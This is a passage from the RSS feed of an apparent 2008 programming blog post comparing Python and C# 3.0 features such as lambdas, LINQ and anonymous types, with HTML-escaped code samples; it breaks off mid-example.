&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=271dcfd6-03f6-4a03-8053-d16342b8886d" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,271dcfd6-03f6-4a03-8053-d16342b8886d.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=524bbdc9-900e-4ff2-b282-22d6971ce074</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,524bbdc9-900e-4ff2-b282-22d6971ce074.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,524bbdc9-900e-4ff2-b282-22d6971ce074.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=524bbdc9-900e-4ff2-b282-22d6971ce074</wfw:commentRss>
      <slash:comments>31</slash:comments>
      <title>Does C# 3.0 Beat Dynamic Languages at their Own Game?</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,524bbdc9-900e-4ff2-b282-22d6971ce074.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2008/01/02/DoesC30BeatDynamicLanguagesAtTheirOwnGame.aspx</link>
      <pubDate>Wed, 02 Jan 2008 03:06:10 GMT</pubDate>
      <description>&lt;p&gt;
&lt;font face="Verdana"&gt;For the past few years I've heard a lot of hype about dynamic
programming languages like Python and Ruby. The word on the street has been that their
dynamic nature makes developers more productive that those of us shackled to statically
typed languages like C# and Java. &lt;/font&gt;&lt;font face="Verdana"&gt;A couple of weeks ago
I decided to take the plunge and start learning Python after spending the past few
years doing the majority of my software development in C#. I learned that it was indeed
true that you could get things the same stuff done &lt;a href="http://www.25hoursaday.com/weblog/2007/12/05/TuplesAreMyFavoritePythonFeature.aspx"&gt;in
far less lines of Python than you could in C#.&lt;/a&gt; Since it is a general truism in
the software industry that the number of bugs per thousand lines of code is constant
irrespective of programming language, the more you can get done in fewer lines of
code, the less defects you will have in your software. &lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;Shortly after I started using Python regularly as part of the
prototyping process for developing new features for &lt;a href="http://www.rssbandit.org/"&gt;RSS
Bandit&lt;/a&gt;, I started trying out C# 3.0.&amp;nbsp; I quickly learned that a lot of the
features I'd considered as language bloat a couple of months ago actually made a lot
of sense if you're familiar with the advantages of dynamic and functional programming
approaches to the tasks of software development. In addition, C# 3.0 actually fixed
one of the problems I'd encountered in my previous experience with a dynamic programming
language while in college. &lt;/font&gt;
&lt;/p&gt;
&lt;h4&gt;&lt;font face="Verdana"&gt;Why I Disliked Dynamism: Squeak Smalltalk &lt;/font&gt;
&lt;/h4&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;Back in my college days I took one of &lt;a href="http://www.cc.gatech.edu/~guzdial/"&gt;Mark
Guzdial's&lt;/a&gt; classes which involved a group programming project using &lt;a href="http://www.squeak.org/"&gt;Squeak
Smalltalk&lt;/a&gt;. At the time, I got the impression that Squeak was composed of a bunch
of poorly documented libraries cobbled together from the top graded submissions to
assignments from Mark's class. What was particularly frustrating about the lack of
documentation was that even looking at method prototypes gave no insight into how
to call a particular library. For example, here's an example of a SalariedEmployee
class taken from &lt;a href="http://www.daimi.au.dk/~ups/OOVM/smalltalk-tutorial/chap5.html#5.10"&gt;an
IBM SmallTalk tutorial&lt;/a&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt;&lt;pre&gt;&lt;b&gt;"A subclass of Employee that adds protocol needed for employees
with salaries"&lt;/b&gt; &lt;b&gt;Employee&lt;/b&gt; subclass: &lt;b&gt;#SalariedEmployee&lt;/b&gt; instanceVariableNames:
'&lt;b&gt;position salary&lt;/b&gt;' classVariableNames: ' ' poolDictionaries: ' ' ! &lt;b&gt;! SalariedEmployee
publicMethods !&lt;/b&gt; &lt;b&gt; position: aString &lt;/b&gt; position := aString ! &lt;b&gt; position &lt;/b&gt; ^position
! &lt;b&gt; &lt;font color="#ff0000"&gt;salary: n &lt;/font&gt;&lt;/b&gt; &lt;font color="#ff0000"&gt; salary :=
n !&lt;/font&gt; &lt;b&gt; salary &lt;/b&gt; ^salary ! !&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;In the example above, there is a method called &lt;code&gt;salary()&lt;/code&gt; that
takes a parameter n whose type we don't know. n could be a string, an integer or a
floating point number. If you are using the SalariedEmployee class in your code and
want to set the employee's salary, the only way to find out what to pass in is to
grep through the code and find out how the method is being used by others. You can
imagine how frustrating it gets when every time you want to perform a basic task like
perform a Web request you have to grep around trying to figure out if the &lt;code&gt;url&lt;/code&gt; parameter
you pass to the Http classes is a string, a Uri class or some oter random thing you
haven't encountered yet. &lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;For a long time, this was my only experience with a dynamic programming
language and I thought it sucked...a lot. &lt;/font&gt;
&lt;/p&gt;
&lt;h4&gt;&lt;font face="Verdana"&gt;Why I Grew to Love Dynamism: XML and C#&lt;/font&gt;
&lt;/h4&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;The first half of my career at Microsoft was spent working on
the XML team which was responsible for the core XML processing APIs that are utilized
by the majority of Microsoft's product line. One of the things that was so cool about
XML was that it enabled data formats to be as strongly structured or semi-structured
depending on the needs of the application. This flexibility is what gives us data
formats like the &lt;a href="http://www.ietf.org/rfc/rfc4287.txt"&gt;Atom syndication format&lt;/a&gt; which
although rigidly structured in parts (e.g. atom:entry elements MUST contain exactly
one atom:id element, etc)&amp;nbsp; also supports semi-structured data (e.g. atom:content
can contain blocks of XHTML) and enables &lt;a href="http://www.intertwingly.net/blog/2007/08/02/HTML5-and-Distributed-Extensibility"&gt;distributed
extensibility&lt;/a&gt; where anyone on the Web is free to extend the data format as long
as they place their extensions in the right namespace. &lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;However one problem we repeatedly bumped against is that data
formats that can have unknown data types show up in them at runtime bump up against
the notion of static typing that is a key aspect of languages in C#. I've written
about this in the past in posts such as &lt;a title="http://www.25hoursaday.com/weblog/2007/11/19/WhatsRightAndWrongWithCodeGenerationInWebServices.aspx" href="http://www.25hoursaday.com/weblog/2007/11/19/WhatsRightAndWrongWithCodeGenerationInWebServices.aspx"&gt;What's
Right and Wrong with Code Generation in Web Services&lt;/a&gt; which is excerpted below &lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;&lt;em&gt;Another problem is that the inflexible and rigid requirements
of static typing systems runs counter to the distributed and flexible nature of the
Web. I posted a practical example a few years ago in my post entitled &lt;/em&gt;&lt;a href="http://www.25hoursaday.com/weblog/2005/08/31/WhyYouShouldAvoidUsingEnumeratedTypesInXMLWebServices.aspx"&gt;&lt;em&gt;Why
You Should Avoid Using Enumerated Types in XML Web Services&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. In that
example, I pointed out that if you have a SOAP Web Service&amp;nbsp; that returns an enumeration
with the possible value {&lt;code&gt;CDF, RSS10, RSS20&lt;/code&gt;} and in a future release modify
that enumeration by adding a new syndication format {&lt;code&gt;CDF, RSS10, RSS20, &lt;strong&gt;Atom&lt;/strong&gt;&lt;/code&gt;}
then even &lt;font color="#ff0000"&gt;if you never return that syndication format to old
clients written in .NET, these clients will &lt;strong&gt;still&lt;/strong&gt; have to be recompiled&lt;/font&gt; because
of the introduction of a new enumeration value. I find it pretty ridiculous that till
today I have list of "people we need to call and tell to recompile their code whenever
we change an enum value in any of our SOAP Web Services".&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;I came to the realization that some degree of dynamism is desirable
especially when dealing with the loosely coupled world of distributed programming
on the Web. I eventually decided to ignore my earlier misgivings and start exploring
dynamic programming languages. I chose IronPython because I could focus on learning
the language while relying on the familiar .NET Framework class library when I wanted
to deal with necessary tasks like file I/O or Web requests. &lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
After getting up to speed with Python and then comparing it to C# 2.0, it was clear
that the dynamic features of Python made my life as a programmer a lot easier. However
something interesting happened along the way. Microsoft shipped &lt;a href="http://msdn2.microsoft.com/en-us/library/bb308966.aspx"&gt;C#
3.0&lt;/a&gt; around the same time I started delving into Python. As I started investigating
C# 3.0, I discovered that almost all the features I'd fallen in love with in Python
which made my life as a developer easier had been integrated into C#. In addition,
there was also a feature which is considered to be a killer feature of the Ruby programming
language which also made it into C# 3.0. 
&lt;/p&gt;
&lt;h4&gt;&lt;font face="Verdana"&gt;Python vs. C# 3.0: Lambda Expressions&lt;/font&gt;
&lt;/h4&gt;
&lt;p&gt;
According to &lt;a href="http://en.wikipedia.org/w/index.php?title=Dynamic_programming_language&amp;amp;oldid=180101141"&gt;the
Wikipedia entry on Dynamic Programming Languages&lt;/a&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;There are several mechanisms closely associated with the concept of dynamic programming.
None are essential to the classification of a language as dynamic, but most can be
found in a wide variety of such languages.&lt;/em&gt; 
&lt;br /&gt;
&lt;em&gt;...&lt;/em&gt; 
&lt;br /&gt;
&lt;b&gt;&lt;em&gt;Higher-order functions&lt;/em&gt;&lt;/b&gt; 
&lt;br /&gt;
&lt;em&gt;However, Erik Meijer and Peter Drayton caution that any language capable of loading
executable code at runtime is capable of eval in some respect, even when that code
is in the form of dynamically linked shared libraries of machine code. They suggest
that &lt;/em&gt;&lt;a href="http://en.wikipedia.org/wiki/Higher-order_function"&gt;&lt;em&gt;higher-order
functions&lt;/em&gt;&lt;/a&gt;&lt;em&gt; are the true measure of dynamic programming, and some languages
"use eval as a poor man's substitute for higher-order functions."&lt;sup&gt;&lt;a href="http://en.wikipedia.org/w/index.php?title=Dynamic_programming_language&amp;amp;oldid=180101141#_note-0"&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;The capability of a programming language to treat functions as
first class objects that can be the input(s) or the output(s) of a function call is
a key feature of many of today's popular "dynamic" programming languages. Additionally,
creating a short hand syntax where anonymous blocks of code can be treated as function
objects is now commonly known as "lambda expressions". Although C# has had functions
as first class objects since version 1.0 with delegates and introduced anonymous delegates
in C# 2.0, it is in C# 3.0 where the short hand syntax of lambda expressions has found
its way into the language. Below are source code excerpts showing the difference between
the the lambda expression functionality in C# and IronPython&amp;nbsp; &lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;C# Code&lt;/strong&gt;&lt;pre class="code"&gt;&lt;span style="COLOR: green"&gt;//decide what
filter function to use depending on mode &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Func&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;bool&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;if&lt;/span&gt;(mode &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek)
filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Now &lt;span style="COLOR: red"&gt;- &lt;/span&gt;x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Date &lt;span style="COLOR: red"&gt;&amp;lt; &lt;/span&gt;one_week)
; &lt;span style="COLOR: blue"&gt;else &lt;/span&gt;filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Read &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;false&lt;/span&gt;;&lt;/pre&gt;&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt; 
&lt;p&gt;
&lt;strong&gt;IronPython Code&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#008000"&gt;#decide what filter function to use depending on mode&lt;br /&gt;
&lt;/font&gt;&lt;font color="#000000"&gt;filterFunc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;mode&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#c00000"&gt;lambda&lt;/font&gt; &lt;font color="#000000"&gt;x&lt;/font&gt; &lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Now&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt; &lt;font color="#000000"&gt;x&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;date&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;&amp;lt;&lt;/font&gt; &lt;font color="#000000"&gt;one_week&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#c00000"&gt;lambda&lt;/font&gt; &lt;font color="#000000"&gt;x&lt;/font&gt; &lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;x&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;read&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;Although the&amp;nbsp;functionality is the same,&amp;nbsp;it&amp;nbsp;takes&amp;nbsp;a
few more lines of code to express the same idea in C# 3.0 than in&amp;nbsp;Python. The
main reason for this is due to the strong and static typing requirements in C#. Ideally
developers should be able&amp;nbsp;to write code like&amp;nbsp;&lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;code&gt;Func&amp;lt;RssItem, bool&amp;gt; filterFunc = (mode == MemeMode.PopularInPastWeek ?
x =&amp;gt; (DateTime.Now - x.Date &amp;lt; one_week) : x =&amp;gt; x.read == false);&lt;/code&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;However this doesn&amp;rsquo;t work because the compiler cannot determine
whether&amp;nbsp;each of the&amp;nbsp;lambda expressions that can be returned by&amp;nbsp;the
conditional expression are of the same type. &lt;/font&gt;Despite the limitations due to
the static and strong typing requirements of C#, the lambda expression feature&amp;nbsp;in
C# 3.0 is extremely powerful. 
&lt;/p&gt;
&lt;p&gt;
You don&amp;rsquo;t have to take my word for it. Read Joel Spolsky&amp;rsquo;s &lt;a href="http://www.joelonsoftware.com/items/2006/08/01.html"&gt;Can
Your Programming Language Do This?&lt;/a&gt;&amp;nbsp;and Peter Norvig&amp;rsquo;s &lt;a href="http://norvig.com/design-patterns/ppframe.htm"&gt;Design
Patterns in Dynamic Programming&lt;/a&gt;.&amp;nbsp;&amp;nbsp;Peter Norvig&amp;rsquo;s presentation
makes a persuasive argument that a number of the Gang of Four&amp;rsquo;s &lt;a href="http://www.dofactory.com/Patterns/Patterns.aspx"&gt;Design
Patterns&lt;/a&gt; either require a lot less code or are simply unneeded in a dynamic programming
language that supports higher order functions. For example, he argues that &lt;a href="http://norvig.com/design-patterns/img016.gif"&gt;the
Strategy pattern does not need separate classes for each algorithm&amp;nbsp;in a dynamic
language&lt;/a&gt; and that &lt;a href="http://norvig.com/design-patterns/img039.gif"&gt;closures
eliminate the need for Iterator classes&lt;/a&gt;. Read the entire presentation, it is interesting
and quite&amp;nbsp;illuminating. 
&lt;/p&gt;
&lt;p&gt;
&lt;h4&gt;Python vs. C# 3.0: List Comprehensions vs. Language Integrated Query
&lt;/h4&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font face="Verdana"&gt;A common programming task is to&amp;nbsp;iterate over a list of objects
and either filter or transform the objects in the list thus creating a new list. Python
has list comprehensions as a way&amp;nbsp;of simplifying this common programming task.
Below is an excerpt from &lt;a href="http://www.network-theory.co.uk/docs/pytut/ListComprehensions.html"&gt;An
Introduction to Python by Guido van Rossum&lt;/a&gt;&amp;nbsp;on list expressions&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;List comprehensions provide a concise way to create lists without resorting to
use of &lt;code&gt;map()&lt;/code&gt;, &lt;code&gt;filter()&lt;/code&gt; and/or &lt;code&gt;lambda&lt;/code&gt;. The resulting
list definition tends often to be clearer than lists built using those constructs.
Each list comprehension consists of an expression followed by a &lt;code&gt;for&lt;/code&gt; clause,
then zero or more &lt;code&gt;for&lt;/code&gt; or &lt;code&gt;if&lt;/code&gt; clauses. The result will be
a list resulting from evaluating the expression in the context of the &lt;code&gt;for&lt;/code&gt; and &lt;code&gt;if&lt;/code&gt; clauses
which follow it.&lt;/em&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;Below is a code&amp;nbsp;sample showing how list comprehensions&amp;nbsp;can
be used to first transform a list of&amp;nbsp;objects (i.e.&amp;nbsp;XML nodes) to another
(i.e. RSS items) and then how the resulting list can be further filtered&amp;nbsp;to those
from a particular date.&amp;nbsp;&lt;/font&gt;
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;IronPython Code&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&lt;font color="#008000"&gt;# for each item in feed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;/font&gt;&amp;nbsp;&lt;font color="#008000"&gt;# convert each &amp;lt;item&amp;gt; to an RssItem object
then apply filter to pick candidate items&lt;br /&gt;
&lt;/font&gt;&amp;nbsp; &lt;font color="#000000"&gt;items&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt; &lt;font color="#000000"&gt;MakeRssItem&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;SelectNodes&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;"//item"&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp; filteredItems &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;item&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;item&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;items&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;filterFunc&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;item&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
&lt;font face="Verdana"&gt;My friend Erik Meijer once observed that &lt;a href="http://www.idealliance.org/papers/dx_xml03/papers/06-02-01/06-02-01.html"&gt;certain
recurring programming patterns become more obvious as a programming language evolves&lt;/a&gt;,
these patterns first become&amp;nbsp;encapsulated by APIs&amp;nbsp;and eventually become part
of the programming language&amp;rsquo;s syntax. This is what happened in the case of the
Python&amp;rsquo;s &lt;code&gt;map()&lt;/code&gt; and &lt;code&gt;filter()&lt;/code&gt; functions which eventually
gave way to list comprehensions. &lt;/font&gt;
&lt;/p&gt;
&lt;p&gt;
C# 3.0 does something similar but goes a step further. In C# 3.0, the language designers
made the observation that performing SQL-like projection and selection is really the
common operation and not just filtering/mapping of lists. This lead to &lt;a href="http://msdn2.microsoft.com/en-us/library/bb308959.aspx"&gt;Language
Integrated Query (LINQ)&lt;/a&gt;. Below is the same filtering operation on a list of XML
nodes performed using C# 3.0
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;C# 3.0 Code&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class="code"&gt;&lt;span style="COLOR: green"&gt;//for each item in feed // convert each
&amp;lt;item&amp;gt; to an RssItem object then apply filter to pick candidate items &lt;/span&gt;&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;items &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;from &lt;/span&gt;rssitem &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;from &lt;/span&gt;itemnode &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;doc&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Descendants(&lt;span style="COLOR: #a31515"&gt;"item"&lt;/span&gt;) &lt;span style="COLOR: blue"&gt;select &lt;/span&gt;MakeRssItem(itemnode)) &lt;span style="COLOR: blue"&gt;where &lt;/span&gt;filterFunc(rssitem) &lt;span style="COLOR: blue"&gt;select &lt;/span&gt;rssitem;&lt;/pre&gt;&lt;/blockquote&gt; 
&lt;p&gt;
These are two fundamentally different approaches to tackling the same problem. Where&amp;nbsp;LINQ
really shines is when it is combined with custom data sources that have their own
query languages such as with &lt;a href="http://weblogs.asp.net/scottgu/archive/2007/05/19/using-linq-to-sql-part-1.aspx"&gt;LINQ
to SQL&lt;/a&gt;&amp;nbsp;and &lt;a href="http://msdn2.microsoft.com/en-us/library/bb308960.aspx"&gt;LINQ
to XML&lt;/a&gt; which map the query operations to SQL and XPath queries respectively. 
&lt;/p&gt;
&lt;p&gt;
&lt;h4&gt;Python vs. C# 3.0: Tuples and Dynamic Typing vs. Anonymous Types and Type Inferencing
&lt;/h4&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
As I&amp;rsquo;ve said before,&amp;nbsp;&lt;a href="http://www.25hoursaday.com/weblog/2007/12/05/TuplesAreMyFavoritePythonFeature.aspx"&gt;tuples
are my favorite Python feature&lt;/a&gt;. I&amp;rsquo;ve found tuples useful in situations where
I have to temporarily associate two or three objects and don&amp;rsquo;t want to go through
the hassle of creating a new class just to represent the temporary association between
these types. I&amp;rsquo;d heard that a new feature in C# 3.0 called &lt;a href="http://weblogs.asp.net/scottgu/archive/2007/05/15/new-orcas-language-feature-anonymous-types.aspx"&gt;anonymous
types&lt;/a&gt; which seemed like it would be just what I need to fix this pet peeve once
and for all. The description of the feature&amp;nbsp;is as follows 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;em&gt;Anonymous types are a convenient language feature of C# and VB that enable developers
to concisely define inline CLR types within code, without having to explicitly define
a formal class declaration of the type.&lt;/em&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I assumed this feature in combination with the &lt;a href="http://msdn2.microsoft.com/en-us/library/bb383973.aspx"&gt;var
keyword&lt;/a&gt; would make it so I would no longer miss Python tuples when I worked with
C#. However I was wrong. Let&amp;rsquo;s compare two equivalent blocks of code in C# and
IronPython. Pay particular attention to the highlighed lines
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;strong&gt;IronPython Code&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;font color="#c00000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for&lt;/font&gt; &lt;font color="#000000"&gt;item&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;filteredItems&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&lt;em&gt;&lt;font color="#ff0000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
vote = (voteFunc(item), item, feedTitle)&lt;/font&gt;&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#008000"&gt;#add
a vote for each of the URLs&lt;br /&gt;
&lt;/font&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;url&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;item&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;outgoing_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Keys&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#c00000"&gt;if&lt;/font&gt; all_links&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;None&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;all_links&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#000000"&gt;all_links&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;get&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;append&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;vote&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#008000"&gt;# tally the votes, only 1 vote counts
per feed&lt;br /&gt;
